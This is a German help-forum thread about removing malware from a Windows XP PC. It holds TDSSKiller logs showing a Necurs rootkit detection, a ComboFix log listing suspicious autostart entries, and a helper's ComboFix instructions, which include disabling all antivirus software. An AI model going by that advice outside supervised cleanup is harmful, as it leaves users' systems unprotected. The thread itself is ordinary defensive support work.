15:10:14.0390 0x092c  [ 93EA8D04EC73A85DB02EB8805988F733, 013008E23F5F14E0C836C28524D1181759BAF84530C6331163882A772217F398 ] Tcpip           C:\WINDOWS\system32\DRIVERS\tcpip.sys

15:10:14.0390 0x092c  Tcpip - ok

15:10:14.0406 0x092c  [ 6471A66807F5E104E4885F5B67349397, F35CBFFB8BB235CCE30EF94A5273333900DD49FD506BF9D55D99A320B8A53A5A ] TDPIPE          C:\WINDOWS\system32\drivers\TDPIPE.sys

15:10:14.0406 0x092c  TDPIPE - ok

15:10:14.0421 0x092c  [ C56B6D0402371CF3700EB322EF3AAF61, 7743FA4C734BCE38EFB1CA69BC17364D8421E2CD172F856F7E38E7AE1EE93F2F ] TDTCP           C:\WINDOWS\system32\drivers\TDTCP.sys

15:10:14.0421 0x092c  TDTCP - ok

15:10:14.0515 0x092c  [ 5A23EAE3C78EBE782CB6B4BA018BE813, C7DCB31E3CCD20EAC565FFADA129B7944B4197316BC91732BD709A3E49E0B1AF ] TelenorhjelpenSvc C:\Programme\Telenor Norway\Telenorhjelpen\Service.exe

15:10:14.0531 0x092c  TelenorhjelpenSvc - ok

15:10:14.0546 0x092c  [ 88155247177638048422893737429D9E, B6D4E8691917946332C2208D01F8C8281978C1AD1E9951C5D99DF0D49AC34B3B ] TermDD          C:\WINDOWS\system32\DRIVERS\termdd.sys

15:10:14.0546 0x092c  TermDD - ok

15:10:14.0578 0x092c  [ B7DE02C863D8F5A005A7BF375375A6A4, 6DE05A7B28CA5A78D58536347FC47F15883EEDBEF487CEA0117CC280FC582DCC ] TermService     C:\WINDOWS\System32\termsrv.dll

15:10:14.0578 0x092c  TermService - ok

15:10:14.0609 0x092c  [ 40602EBFBE06AA075C8E4560743F6883, 808AF03F31CA4168888D0E3802AE4A0DE7F7324F4CD2F8FE491211895C9C6901 ] Themes          C:\WINDOWS\System32\shsvcs.dll

15:10:14.0609 0x092c  Themes - ok

15:10:14.0625 0x092c  [ 03681A1CE77F51586903869A5AB1DEAB, E2EC0A481412166B654682C2F3D953E96E757466135CBD2D813B967EDB13C721 ] TlntSvr         C:\WINDOWS\system32\tlntsvr.exe

15:10:14.0640 0x092c  TlntSvr - ok

15:10:14.0640 0x092c  TosIde - ok

15:10:14.0656 0x092c  [ 8F7F06EDE2C6B8767B5C7DE3A4118BD3, D287F21FE4703F72E051FBBD6052EDA77663B43C023409EADC66F1C58CA7ABD2 ] TPkd            C:\WINDOWS\system32\drivers\TPkd.sys

15:10:14.0656 0x092c  TPkd - ok

15:10:14.0687 0x092c  [ 626504572B175867F30F3215C04B3E2F, 47E87CE9BC666D5CB5953C5D497DC00A7CC28F8EC0A064B3E47700279C5C4B91 ] TrkWks          C:\WINDOWS\system32\trkwks.dll

15:10:14.0687 0x092c  TrkWks - ok

15:10:14.0703 0x092c  [ 5787B80C2E3C5E2F56C2A233D91FA2C9, 3774905CF77954DFCECDA5BCC7CDE3D0ED72712BFAAD85ADAE5246306447E46C ] Udfs            C:\WINDOWS\system32\drivers\Udfs.sys

15:10:14.0703 0x092c  Udfs - ok

15:10:14.0718 0x092c  ultra - ok

15:10:14.0750 0x092c  [ AB0A7CA90D9E3D6A193905DC1715DED0, CA764A2B92E727E3398134CD50D5622B4EC387436A3644063DA1D114CE63BD64 ] UMWdf           C:\WINDOWS\system32\wdfmgr.exe

15:10:14.0750 0x092c  UMWdf - ok

15:10:14.0781 0x092c  [ 402DDC88356B1BAC0EE3DD1580C76A31, 32A686595710336A6BFD54C03F552AE39439611662F84EF5D24193AE5665C6F3 ] Update          C:\WINDOWS\system32\DRIVERS\update.sys

15:10:14.0796 0x092c  Update - ok

15:10:14.0812 0x092c  [ 1DFD8975D8C89214B98D9387C1125B49, 0B6B268487C8E45E9B86BF4A0A9DB669E0E45D600DE3C82B63F9986CA9E01082 ] upnphost        C:\WINDOWS\System32\upnphost.dll

15:10:14.0828 0x092c  upnphost - ok

15:10:14.0843 0x092c  [ 9B11E6118958E63E1FEF129466E2BDA7, 97168BCE3F4A9BB9E6500F05E34851FB957B219C598944FADC28AC0011C0503B ] UPS             C:\WINDOWS\System32\ups.exe

15:10:14.0843 0x092c  UPS - ok

15:10:14.0859 0x092c  [ 173F317CE0DB8E21322E71B7E60A27E8, 7042441BA63AE38AE9D7BE0BC5CA7404FC9EE5BB3F084604A68F01E82769652A ] usbccgp         C:\WINDOWS\system32\DRIVERS\usbccgp.sys

15:10:14.0859 0x092c  usbccgp - ok

15:10:14.0875 0x092c  [ 65DCF09D0E37D4C6B11B5B0B76D470A7, 90EBA8BAF45932B453D905EDF2BDDDF3A432BFD50B9F7DF58CDEAE98D11C2E2F ] usbehci         C:\WINDOWS\system32\DRIVERS\usbehci.sys

15:10:14.0875 0x092c  usbehci - ok

15:10:14.0890 0x092c  [ 1AB3CDDE553B6E064D2E754EFE20285C, A99C4528C4227B1E96847614745AAFACD3C5F1BDFE435214DBF78740FFB300FE ] usbhub          C:\WINDOWS\system32\DRIVERS\usbhub.sys

15:10:14.0906 0x092c  usbhub - ok

15:10:14.0906 0x092c  [ A717C8721046828520C9EDF31288FC00, 1530BBE832EDBB0974AD89D723A03FF7A0094B368992D73C2C3E62A181DF1E0A ] usbprint        C:\WINDOWS\system32\DRIVERS\usbprint.sys

15:10:14.0906 0x092c  usbprint - ok

15:10:14.0921 0x092c  [ A0B8CF9DEB1184FBDD20784A58FA75D4, D8AFD45BD9CF7B02F2554AA6085194DE82893AF794EDF479BC9B9E9C1758DC75 ] usbscan         C:\WINDOWS\system32\DRIVERS\usbscan.sys

15:10:14.0921 0x092c  usbscan - ok

15:10:14.0937 0x092c  [ A32426D9B14A089EAA1D922E0C5801A9, ED1DC52EE45F8EAD3AEC4B1F817BB25634141CF48295494C5947DCE6CF7A9817 ] USBSTOR         C:\WINDOWS\system32\DRIVERS\USBSTOR.SYS

15:10:14.0937 0x092c  USBSTOR - ok

15:10:14.0953 0x092c  [ 26496F9DEE2D787FC3E61AD54821FFE6, 8BE7FF647470B9A951CBB478FAF83D657A15CC78037F42348A6B738F21D523DA ] usbuhci         C:\WINDOWS\system32\DRIVERS\usbuhci.sys

15:10:14.0953 0x092c  usbuhci - ok

15:10:14.0953 0x092c  [ 0D3A8FAFCEACD8B7625CD549757A7DF1, B9CFDEFCD66AA139F3DC2F967B184669532922563AD5A71769BABDC4370D065E ] VgaSave         C:\WINDOWS\System32\drivers\vga.sys

15:10:14.0953 0x092c  VgaSave - ok

15:10:14.0968 0x092c  ViaIde - ok

15:10:14.0984 0x092c  [ A5A712F4E880874A477AF790B5186E1D, FE885ED04C3EAFC379787F836738A2769E43D07CF52DD917D90C38E001957A5E ] VolSnap         C:\WINDOWS\system32\drivers\VolSnap.sys

15:10:14.0984 0x092c  VolSnap - ok

15:10:15.0015 0x092c  [ 68F106273BE29E7B7EF8266977268E78, 1488AB7A654EBC94C73E1D494067189ACB95BC233980110CAC4C0297CDC4115A ] VSS             C:\WINDOWS\System32\vssvc.exe

15:10:15.0031 0x092c  VSS - ok

15:10:15.0046 0x092c  [ 7B353059E665F8B7AD2BBEAEF597CF45, 84A4311F18A4B8DCB364741DEA7D18E2363F19564B2EF25214965DC729527068 ] W32Time         C:\WINDOWS\system32\w32time.dll

15:10:15.0062 0x092c  W32Time - ok

15:10:15.0078 0x092c  [ E20B95BAEDB550F32DD489265C1DA1F6, 5589B2067E6C9FBA290D8C5EADDC198EBAF39C50C3CD7D2BC5CDA7CBFBC445E5 ] Wanarp          C:\WINDOWS\system32\DRIVERS\wanarp.sys

15:10:15.0078 0x092c  Wanarp - ok

15:10:15.0125 0x092c  [ BBCFEAB7E871CDDAC2D397EE7FA91FDC, 06FC132E0E256B9A4E4DDD05D3AF4D75E40C750ECCF94A76251B104C65CFFCDF ] Wdf01000        C:\WINDOWS\system32\Drivers\wdf01000.sys

15:10:15.0140 0x092c  Wdf01000 - ok

15:10:15.0156 0x092c  WDICA - ok

15:10:15.0171 0x092c  [ 6768ACF64B18196494413695F0C3A00F, 3A8F8586F1D997D19A8478345338D2AECD785AEABDB61531DD3F92003D3230A5 ] wdmaud          C:\WINDOWS\system32\drivers\wdmaud.sys

15:10:15.0171 0x092c  wdmaud - ok

15:10:15.0203 0x092c  [ 81727C9873E3905A2FFC1EBD07265002, 6AC2383A1DCBB7FA3DB90FBB874C8E1819F5B7492717FF41E303EFC7BF72F93E ] WebClient       C:\WINDOWS\System32\webclnt.dll

15:10:15.0203 0x092c  WebClient - ok

15:10:15.0265 0x092c  [ 6F3F3973D97714CC5F906A19FE883729, 7817118BE94D0F6FAE0F9CE48AD70FFE0AEF886CCE09C666768FAB61047F992F ] winmgmt         C:\WINDOWS\system32\wbem\WMIsvc.dll

15:10:15.0265 0x092c  winmgmt - ok

15:10:15.0296 0x092c  [ 140EF97B64F560FD78643CAE2CDAD838, 1DEA8005220A3EFEC6E32A7DE4386026CCC1E5328E2FDCB82B1FB335905D1962 ] WmdmPmSN        C:\WINDOWS\system32\mspmsnsv.dll

15:10:15.0296 0x092c  WmdmPmSN - ok

15:10:15.0343 0x092c  [ FFA4D901D46D07A5BAB2D8307FBB51A6, 53C6D04D111EDF774C7F7EEB8D032B372E6244774D56B1B34CF1236027EC9450 ] Wmi             C:\WINDOWS\System32\advapi32.dll

15:10:15.0359 0x092c  Wmi - ok

15:10:15.0375 0x092c  [ 93908111BA57A6E60EC2FA2DE202105C, F395F25F18D15C6B9FEDB45FD31E10295FFE5517E2BC86ACAC11904EA0664BE2 ] WmiApSrv        C:\WINDOWS\system32\wbem\wmiapsrv.exe

15:10:15.0375 0x092c  WmiApSrv - ok

15:10:15.0406 0x092c  [ 1385E5AA9C9821790D33A9563B8D2DD0, 35248DA1BBB6E88D6C7706B81A48F7EA4E4F2673228D69E622525D478B8E7220 ] WpdUsb          C:\WINDOWS\system32\DRIVERS\wpdusb.sys

15:10:15.0406 0x092c  WpdUsb - ok

15:10:15.0546 0x092c  [ DCF3E3EDF5109EE8BC02FE6E1F045795, 4B8E14B1CFB095982D34DAEC336114F5039D7793080FB787DC95A63B6B945DD0 ] WPFFontCache_v0400 C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\WPF\WPFFontCache_v0400.exe

15:10:15.0578 0x092c  WPFFontCache_v0400 - ok

15:10:15.0609 0x092c  [ 300B3E84FAF1A5C1F791C159BA28035D, 0194856BDF94C1F274AF70AD558290ACDACDDEA331BD66FEB8E167ABD1E36786 ] wscsvc          C:\WINDOWS\system32\wscsvc.dll

15:10:15.0609 0x092c  wscsvc - ok

15:10:15.0625 0x092c  [ 7B4FE05202AA6BF9F4DFD0E6A0D8A085, A1DB8909FA73337DB613D01824945485186654364A4DF129B8CB913CF87D1D2E ] wuauserv        C:\WINDOWS\system32\wuauserv.dll

15:10:15.0625 0x092c  wuauserv - ok

15:10:15.0656 0x092c  [ F15FEAFFFBB3644CCC80C5DA584E6311, 79B3E9AF35976CE49921E9BEA3BA3B4A8AF762FD3F284B62954038B5FFB32471 ] WudfPf          C:\WINDOWS\system32\DRIVERS\WudfPf.sys

15:10:15.0656 0x092c  WudfPf - ok

15:10:15.0671 0x092c  [ 28B524262BCE6DE1F7EF9F510BA3985B, AEFF02B899801A63CBB262757C3D4369E38BFF0690BD085DE60E873DFBE3C3F4 ] WudfRd          C:\WINDOWS\system32\DRIVERS\wudfrd.sys

15:10:15.0671 0x092c  WudfRd - ok

15:10:15.0687 0x092c  [ 05231C04253C5BC30B26CBAAE680ED89, 5C03C2D7E0B573646D32F4093E2FF2C3BA391C39F5BA37D67F69D38E357FCC3D ] WudfSvc         C:\WINDOWS\System32\WUDFSvc.dll

15:10:15.0687 0x092c  WudfSvc - ok

15:10:15.0734 0x092c  [ C4F109C005F6725162D2D12CA751E4A7, AC996B44338328BDD4442FE48406F286A64526F0EC77BE00A19FA7FDB0407CFE ] WZCSVC          C:\WINDOWS\System32\wzcsvc.dll

15:10:15.0750 0x092c  WZCSVC - ok

15:10:15.0765 0x092c  [ 0ADA34871A2E1CD2CAAFED1237A47750, 45BEF8649078BD74C1A347B5F2D3A1958E5A7DCD6C6BA8A2E0CAD277A929C64E ] xmlprov         C:\WINDOWS\System32\xmlprov.dll

15:10:15.0781 0x092c  xmlprov - ok

15:10:15.0781 0x092c  ================ Scan global ===============================

15:10:15.0812 0x092c  [ 2C60091CA5F67C3032EAB3B30390C27F, 9E205C8E67F4B61FCFA2A82AA1968D522C3B6410D7075BE813F7F1564D61632E ] C:\WINDOWS\system32\basesrv.dll

15:10:15.0843 0x092c  [ 0771F5530EAF5323D828F340E00BF64D, 0553055D144BCF1ED4D9E989E3AA20F06632731576D560434FEDFF7DCD489A71 ] C:\WINDOWS\system32\winsrv.dll

15:10:15.0875 0x092c  [ 0771F5530EAF5323D828F340E00BF64D, 0553055D144BCF1ED4D9E989E3AA20F06632731576D560434FEDFF7DCD489A71 ] C:\WINDOWS\system32\winsrv.dll

15:10:15.0890 0x092c  [ A3EDBE9053889FB24AB22492472B39DC, 6F2ED6E04BDE2FCA2A8BF9BD2D1D6923DE6EAECB46F582B6C0BD1CF364D65C9E ] C:\WINDOWS\system32\services.exe

15:10:15.0890 0x092c  [ Global ] - ok

15:10:15.0890 0x092c  ================ Scan MBR ==================================

15:10:15.0906 0x092c  [ 72B8CE41AF0DE751C946802B3ED844B4 ] \Device\Harddisk1\DR1

15:10:16.0078 0x092c  \Device\Harddisk1\DR1 - ok

15:10:16.0343 0x092c  [ 5FB38429D5D77768867C76DCBDB35194 ] \Device\Harddisk2\DR5

15:10:16.0406 0x092c  \Device\Harddisk2\DR5 - ok

15:10:16.0406 0x092c  [ DDAE9D649DB12F6AFF24483F2C298989 ] \Device\Harddisk3\DR6

15:10:16.0406 0x092c  \Device\Harddisk3\DR6 - ok

15:10:16.0406 0x092c  ================ Scan VBR ==================================

15:10:16.0421 0x092c  [ 2E7D030A0FA588080336A05B1D2C7870 ] \Device\Harddisk1\DR1\Partition1

15:10:16.0421 0x092c  \Device\Harddisk1\DR1\Partition1 - ok

15:10:16.0421 0x092c  [ F45FE054B352F522C2FEC60D8CC05DBD ] \Device\Harddisk1\DR1\Partition2

15:10:16.0437 0x092c  \Device\Harddisk1\DR1\Partition2 - ok

15:10:16.0437 0x092c  [ F9CC1FAF6E7F49D3671933E3A6A480CB ] \Device\Harddisk2\DR5\Partition1

15:10:16.0437 0x092c  \Device\Harddisk2\DR5\Partition1 - ok

15:10:16.0437 0x092c  [ D39E6A09D29F67F1BE5B1E842BFCFF39 ] \Device\Harddisk3\DR6\Partition1

15:10:16.0437 0x092c  \Device\Harddisk3\DR6\Partition1 - ok

15:10:16.0437 0x092c  ================ Scan generic autorun ======================

15:10:16.0468 0x092c  [ 21C8A24455FDAFC9D6D8BCD38D62B10B, A74B40E20C5BC5780E26962F927E50EB6EB923CC3AE858DAD7C33A12BCD84CA8 ] C:\WINDOWS\system32\HDAShCut.exe

15:10:16.0468 0x092c  High Definition Audio Property Page Shortcut - ok

15:10:16.0515 0x092c  [ 115332A83AC2726FA974D30DB4BFD8DE, D86869A8CA6824CF8D3703420FCF6EC3E7E70CEEF05E230BDE1250C4550C7356 ] C:\Programme\Analog Devices\Core\smax4pnp.exe

15:10:16.0531 0x092c  SoundMAXPnP - ok

15:10:16.0578 0x092c  [ F2C53B16FEFD00DC79A15871A5738573, 8DEB051E2A9C742A1342FE68C94D17549A08D64391D4A8F06BC5F948BA3EF491 ] C:\Programme\Analog Devices\SoundMAX\Smax4.exe

15:10:16.0593 0x092c  SoundMAX - ok

15:10:16.0640 0x092c  [ 68EBC55F843BD47A2EB30FC95CFD55E5, E8589FD0934EA8653BF5C9F53FEAC052C8EDA3B1AB1E8C4826AEA4B8005AF694 ] C:\Programme\Iomega\DriveIcons\deskup.exe

15:10:16.0640 0x092c  Deskup - ok

15:10:16.0656 0x092c  [ 290BBFAAA1EE80A4A971B86F1C5DE1DD, B37A5C7467B2960F0D73A91DAE601B2080B9024DEA922C8B57600F77A33836AD ] C:\WINDOWS\Logi_MwX.Exe

15:10:16.0671 0x092c  Logitech Utility - ok

15:10:16.0703 0x092c  [ E256CD2CB57CC6FEB25B8B6C8B6C9783, BADFEEC2351B1C1F7B03CF20D879B99EDA00D9A208A7C17D6E7710590337138B ] C:\WINDOWS\system32\fireface.exe

15:10:16.0718 0x092c  FirefaceTray - ok

15:10:16.0765 0x092c  [ B35CC51B8B5E451BAAC3C63609572CA2, AD1F5166EC67EAD232216C9376C36703130DF4B6BA9EA2E8595B8320711D85F0 ] C:\WINDOWS\system32\firefacemix.exe

15:10:16.0812 0x092c  FirefaceMixTray - ok

15:10:17.0843 0x092c  [ 92739A584578E3510EB3E5E85E4143B9, 73844747E1B6610D6A554132C19F5D01A72E4480F7DFDBB818E572DC1D88242A ] C:\Programme\A1\A1 Webassistent\A1Webassistent.exe

15:10:18.0781 0x092c  A1Webassistent - ok

15:10:18.0859 0x092c  [ 07224089294758E956FA1DBCBF51B801, 06E9D5ACC6E5C5D05513FCB0E254AA65D87FF390178944C2A8F2B1AE6F55F644 ] C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe

15:10:18.0859 0x092c  MSConfig - ok

15:10:18.0859 0x092c  KernelFaultCheck - ok

15:10:18.0890 0x092c  [ 01B4E6E990B6C5EA8856D96C7FD044B2, 2266296FD3C8E0DFA657F21406EE4E494477870DFAF7C65BEBCB6FBA8CADC7C6 ] C:\WINDOWS\system32\CTFMON.EXE

15:10:18.0890 0x092c  CTFMON.EXE - ok

15:10:18.0890 0x092c  [ 01B4E6E990B6C5EA8856D96C7FD044B2, 2266296FD3C8E0DFA657F21406EE4E494477870DFAF7C65BEBCB6FBA8CADC7C6 ] C:\WINDOWS\system32\CTFMON.EXE

15:10:18.0890 0x092c  CTFMON.EXE - ok

15:10:18.0906 0x092c  [ 01B4E6E990B6C5EA8856D96C7FD044B2, 2266296FD3C8E0DFA657F21406EE4E494477870DFAF7C65BEBCB6FBA8CADC7C6 ] C:\WINDOWS\system32\CTFMON.EXE

15:10:18.0906 0x092c  CTFMON.EXE - ok

15:10:18.0906 0x092c  [ 01B4E6E990B6C5EA8856D96C7FD044B2, 2266296FD3C8E0DFA657F21406EE4E494477870DFAF7C65BEBCB6FBA8CADC7C6 ] C:\WINDOWS\system32\ctfmon.exe

15:10:18.0906 0x092c  CTFMON.EXE - ok

15:10:19.0015 0x092c  [ 390679F7A217A5E73D756276C40AE887, 3EDFB645B2F58864E653C66516D6D48C4F9D691CFD51D91D4D88E316EE7B7177 ] C:\Programme\Spybot - Search & Destroy\TeaTimer.exe

15:10:19.0265 0x092c  SpybotSD TeaTimer - ok

15:10:19.0375 0x092c  [ 981FE670A8D36E9F43A74FAE1218F080, 84EFCC024B5F6DE6554C40033462B21CA550A240C84E46B36EBB972799AA8A8B ] C:\Programme\MySQL\MySQL Notifier 1.1\MySqlNotifier.exe

15:10:19.0421 0x092c  MySQL Notifier - ok

15:10:19.0531 0x092c  [ AEE2A4682C3047CC139283CE399B0EDD, 3C6B16FFE03485BE8339EF55285B040AE9BC6D616C1E82A44B504A5BE4A90E4E ] C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe

15:10:19.0546 0x092c  {A9480375-EB4E-4B08-9CBA-83931501F684} - ok

15:10:19.0546 0x092c  Waiting for KSN requests completion. In queue: 275

15:10:20.0546 0x092c  Waiting for KSN requests completion. In queue: 275

15:10:21.0546 0x092c  Waiting for KSN requests completion. In queue: 275

15:10:22.0578 0x092c  Win FW state via NFM: enabled

15:10:24.0937 0x092c  ============================================================

15:10:24.0937 0x092c  Scan finished

15:10:24.0937 0x092c  ============================================================

15:10:24.0937 0x0924  Detected object count: 1

15:10:24.0937 0x0924  Actual detected object count: 1

15:10:35.0375 0x0924  C:\WINDOWS\System32\Drivers\8d2f1246333c7fa.sys - copied to quarantine

15:10:35.0390 0x0924  HKLM\SYSTEM\ControlSet002\services\8d2f1246333c7fa - will be deleted on reboot

15:10:35.0390 0x0924  HKLM\SYSTEM\ControlSet003\services\8d2f1246333c7fa - will be deleted on reboot

15:10:35.0390 0x0924  C:\WINDOWS\System32\Drivers\8d2f1246333c7fa.sys - will be deleted on reboot

15:10:35.0390 0x0924  8d2f1246333c7fa ( Rootkit.Win32.Necurs.gen ) - User select action: Delete 

15:10:35.0812 0x0924  KLMD registered as C:\WINDOWS\system32\drivers\54540791.sys

Fragerin

16.08.2016 14:51

Hi Jazzerin!

Kannst rebooten.

Führe aber danach bitte noch mal TDSS-Killer aus und achte darauf, dass du alle Einstellungen wie in der verlinkten Anleitung (bitte klicken und lesen!) vornimmst.
Achte besonders auf Schritt 3!

jazzerin

16.08.2016 15:22

Hallo
Die jetzt (nach reboot/delete) gefundenen, unbekannten files kenne ich, das gehört zu der Fireface SW - ein Audio Interface und die sollte ich eher drauflassen auf dem Rechner. Die Hackerl habe ich richtig gesetzt wie in der Anleitung.
Da er sonst keine Threats gefunden hat, kopiere ich aus dem letzten Bericht nur das Report-Ende, wenn das zuwenig info ist, dann bitte mich korrigieren, danke

Code:

3C6B16FFE03485BE8339EF55285B040AE9BC6D616C1E82A44B504A5BE4A90E4E ] C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe

16:15:15.0437 0x0940  {A9480375-EB4E-4B08-9CBA-83931501F684} - ok

16:15:15.0484 0x0940  Win FW state via NFM: enabled

16:15:17.0843 0x0940  ============================================================

16:15:17.0843 0x0940  Scan finished

16:15:17.0843 0x0940  ============================================================

16:15:17.0859 0x01bc  Detected object count: 3

16:15:17.0859 0x01bc  Actual detected object count: 3

16:18:15.0546 0x01bc  fireface ( UnsignedFile.Multi.Generic ) - skipped by user

16:18:15.0546 0x01bc  fireface ( UnsignedFile.Multi.Generic ) - User select action: Skip 

16:18:15.0546 0x01bc  FirefaceTray ( UnsignedFile.Multi.Generic ) - skipped by user

16:18:15.0546 0x01bc  FirefaceTray ( UnsignedFile.Multi.Generic ) - User select action: Skip 

16:18:15.0562 0x01bc  FirefaceMixTray ( UnsignedFile.Multi.Generic ) - skipped by user

16:18:15.0562 0x01bc  FirefaceMixTray ( UnsignedFile.Multi.Generic ) - User select action: Skip

Fragerin

16.08.2016 15:57

Schritt 1: Combofix

Scan mit Combofix

WARNUNG an die MITLESER:
Combofix sollte ausschließlich ausgeführt werden, wenn dies von einem Teammitglied angewiesen wurde!

Downloade dir bitte Combofix vom folgenden Downloadspiegel: Link

WICHTIG: Speichere Combofix auf deinem Desktop

Deaktiviere bitte alle deine Antivirensoftware sowie Malware/Spyware Scanner. Diese können Combofix bei der Arbeit stören.

Starte die Combofix.exe und folge den Anweisungen auf dem Bildschirm.

Combofix wird überprüfen, ob die Microsoft Windows Wiederherstellungskonsole installiert ist.
Ist diese nicht installiert, erlaube Combofix diese herunter zu laden und zu installieren. Folge dazu einfach den Anweisungen und aktzeptiere die Endbenutzer-Lizenz.
Bei heutiger Malware ist dies sehr empfehlenswert, da diese uns eine Möglichkeit bietet, dein System zu reparieren, falls etwas schief geht.
Bestätige die Information, dass die Wiederherstellungskonsole installiert wurde mit Ja.
Hinweis: Ist diese bereits installiert, wird Combofix mit der Malwareentfernung fortfahren.

Während Combofix läuft bitte nicht am Computer arbeiten, die Maus bewegen oder ins Combofixfenster klicken!

Wenn Combofix fertig ist, wird es eine Logfile erstellen.

Bitte poste die C:\Combofix.txt in deiner nächsten Antwort.

Hinweis: Solltest du nach dem Neustart folgende Fehlermeldung erhalten
Es wurde versucht, einen Registrierungsschlüssel einem ungültigen Vorgang zu unterziehen, der zum Löschen markiert wurde.
starte den Rechner einfach neu. Dies sollte das Problem beheben.

jazzerin

16.08.2016 16:57

Combofix-Logfile:
(Anmerkung: bei WinXP kann ich Systemwiederherstellungspunkte über msconfig abrufen, das ist doch soetwas ähnliches wie die Wiederherstellungsconsole?)

Code:

ComboFix 16-08-15.01 - Julie 16.08.2016  17:24:44.1.2 - x86

Microsoft Windows XP Professional  5.1.2600.3.1252.49.1031.18.1023.296 [GMT 2:00]

ausgeführt von:: c:\dokumente und einstellungen\Julie\Eigene Dateien\Downloads\ComboFix.exe

.

Achtung - Auf diesem PC ist keine Wiederherstellungskonsole installiert !!

.
  ADS - WINDOWS: deleted 128 bytes in 1 streams. 

.

((((((((((((((((((((((((((((((((((((   Weitere Löschungen   ))))))))))))))))))))))))))))))))))))))))))))))))

.

.

c:\dokumente und einstellungen\All Users\Anwendungsdaten\TEMP

c:\dokumente und einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Slick Savings

c:\dokumente und einstellungen\Julie\Lokale Einstellungen\Anwendungsdaten\Slick Savings\coupons.crx

c:\dokumente und einstellungen\Julie\WINDOWS

c:\windows\Installer\{31AF7FE6-14C2-F33B-29AC-A36D095CDFA1}\syshost.exe

c:\windows\IsUn0407.exe

.

.

(((((((((((((((((((((((((((((((((((((((   Treiber/Dienste   )))))))))))))))))))))))))))))))))))))))))))))))))

.

.

-------\Legacy_MYWEBSEARCHSERVICE

.

.

(((((((((((((((((((((((   Dateien erstellt von 2016-07-16 bis 2016-08-16  ))))))))))))))))))))))))))))))

.

.

2016-08-16 13:10 . 2016-08-16 13:10        --------        d-----w-        C:\TDSSKiller_Quarantine

2016-08-03 22:56 . 2016-08-03 23:00        --------        d-----w-        C:\FRST

2016-08-03 22:39 . 2016-08-03 22:55        --------        d-----w-        C:\AdwCleaner

.

.

.

((((((((((((((((((((((((((((((((((((   Find3M Bericht   ))))))))))))))))))))))))))))))))))))))))))))))))))))))

.

2016-07-15 13:25 . 2013-03-03 12:01        796352        ----a-w-        c:\windows\system32\FlashPlayerApp.exe

2016-07-15 13:25 . 2013-03-03 11:59        142528        ----a-w-        c:\windows\system32\FlashPlayerCPLApp.cpl

2016-07-15 13:25 . 2016-06-19 12:25        6079168        ----a-w-        c:\windows\system32\FlashPlayerInstaller.exe

2012-07-31 09:12 . 2012-01-02 12:45        136672        ----a-w-        c:\programme\mozilla firefox\components\browsercomps.dll

.

.

((((((((((((((((((((((((((((   Autostartpunkte der Registrierung   ))))))))))))))))))))))))))))))))))))))))

.

.

*Hinweis* leere Einträge & legitime Standardeinträge werden nicht angezeigt. 

REGEDIT4

.

[HKEY_LOCAL_MACHINE\SOFTWARE\~\Browser Helper Objects\{9D974C8C-6D92-44FB-BEAF-B45A1C0CF17F}]

2014-06-11 13:20        464720        ----a-w-        c:\programme\IObit\IObit Malware Fighter\adsremoval\IE\Adblock.dll

.

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"SpybotSD TeaTimer"="c:\programme\Spybot - Search & Destroy\TeaTimer.exe" [2009-03-05 2260480]

"MySQL Notifier"="c:\programme\MySQL\MySQL Notifier 1.1\MySqlNotifier.exe" [2014-09-03 773120]

"{A9480375-EB4E-4B08-9CBA-83931501F684}"="c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe" [2007-10-30 330240]

.

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

"High Definition Audio Property Page Shortcut"="HDAShCut.exe" [2004-10-27 61952]

"SoundMAXPnP"="c:\programme\Analog Devices\Core\smax4pnp.exe" [2005-05-20 925696]

"Deskup"="c:\programme\Iomega\DriveIcons\deskup.exe" [2002-07-16 32768]

"Logitech Utility"="Logi_MwX.Exe" [2003-06-30 19968]

"FirefaceTray"="fireface.exe" [2016-03-08 352768]

"FirefaceMixTray"="firefacemix.exe" [2016-03-08 1054720]

"A1Webassistent"="c:\programme\A1\A1 Webassistent\A1Webassistent.exe" [2012-02-08 18977656]

.

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run]

"CTFMON.EXE"="c:\windows\system32\CTFMON.EXE" [2008-04-14 15360]

.

[HKEY_LOCAL_MACHINE\software\microsoft\windows\Currentversion\policies\explorer\Run]

"1038853070"="c:\dokumente und einstellungen\All Users\msdgqhc.exe" [2008-04-14 72365312]

.

[HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\explorer]

"SpecifyDefaultButtons"= 2 (0x2)

"Btn_Back"= 1 (0x1)

"Btn_Forward"= 1 (0x1)

"Btn_Stop"= 1 (0x1)

"Btn_Refresh"= 1 (0x1)

"Btn_Home"= 1 (0x1)

"Btn_Search"= 1 (0x1)

"Btn_History"= 1 (0x1)

"Btn_Favorites"= 1 (0x1)

"Btn_Media"= 1 (0x1)

"Btn_MailNews"= 1 (0x1)

"Btn_Print"= 1 (0x1)

"Btn_Discussions"= 1 (0x1)

"Btn_Edit"= 1 (0x1)

"Btn_Folders"= 2 (0x2)

"Btn_Fullscreen"= 2 (0x2)

"Btn_Size"= 2 (0x2)

"Btn_Cut"= 2 (0x2)

"Btn_Copy"= 2 (0x2)

"Btn_Paste"= 2 (0x2)

"Btn_Encoding"= 2 (0x2)

"Btn_Tools"= 2 (0x2)

.

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\IMFservice]

@="Service"

.

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\Wdf01000.sys]

@="Driver"

.

[HKLM\~\startupfolder\C:^Dokumente und Einstellungen^All Users^Startmenü^Programme^Autostart^TP-LINK Wireless Configuration Utility.lnk]

path=c:\dokumente und einstellungen\All Users\Startmenü\Programme\Autostart\TP-LINK Wireless Configuration Utility.lnk

backup=c:\windows\pss\TP-LINK Wireless Configuration Utility.lnkCommon Startup

.

[HKLM\~\startupfolder\C:^Dokumente und Einstellungen^Julie^Startmenü^Programme^Autostart^z.vbb]

path=c:\dokumente und einstellungen\Julie\Startmenü\Programme\Autostart\z.vbb

backup=c:\windows\pss\z.vbbStartup

.

